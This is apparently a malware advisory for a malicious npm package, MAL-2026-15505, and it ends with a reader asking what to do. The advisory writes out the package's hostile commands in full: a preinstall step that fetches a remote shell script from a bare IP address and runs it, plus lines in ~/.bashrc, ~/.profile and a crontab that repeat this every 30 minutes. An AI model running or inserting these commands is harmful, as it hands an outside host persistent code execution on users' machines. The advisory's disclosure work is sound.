Official description
The package's preinstall lifecycle script runs
curl -s http://216.126.236.46/x.sh | sh at npm install time, fetching and executing an attacker-controlled shell payload from a plain-HTTP bare-IP host. The same preinstall appends curl -s 216.126.236.46/x.sh|sh to ~/.bashrc and ~/.profile and installs a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh|sh, re-fetching and executing the remote payload every 30 minutes for persistent host access. The advertised entry point index.js is a two-line stub exporting version and init, with no real functionality — the manifest's preinstall is the entire payload.What should I do about MAL-2026-15505?
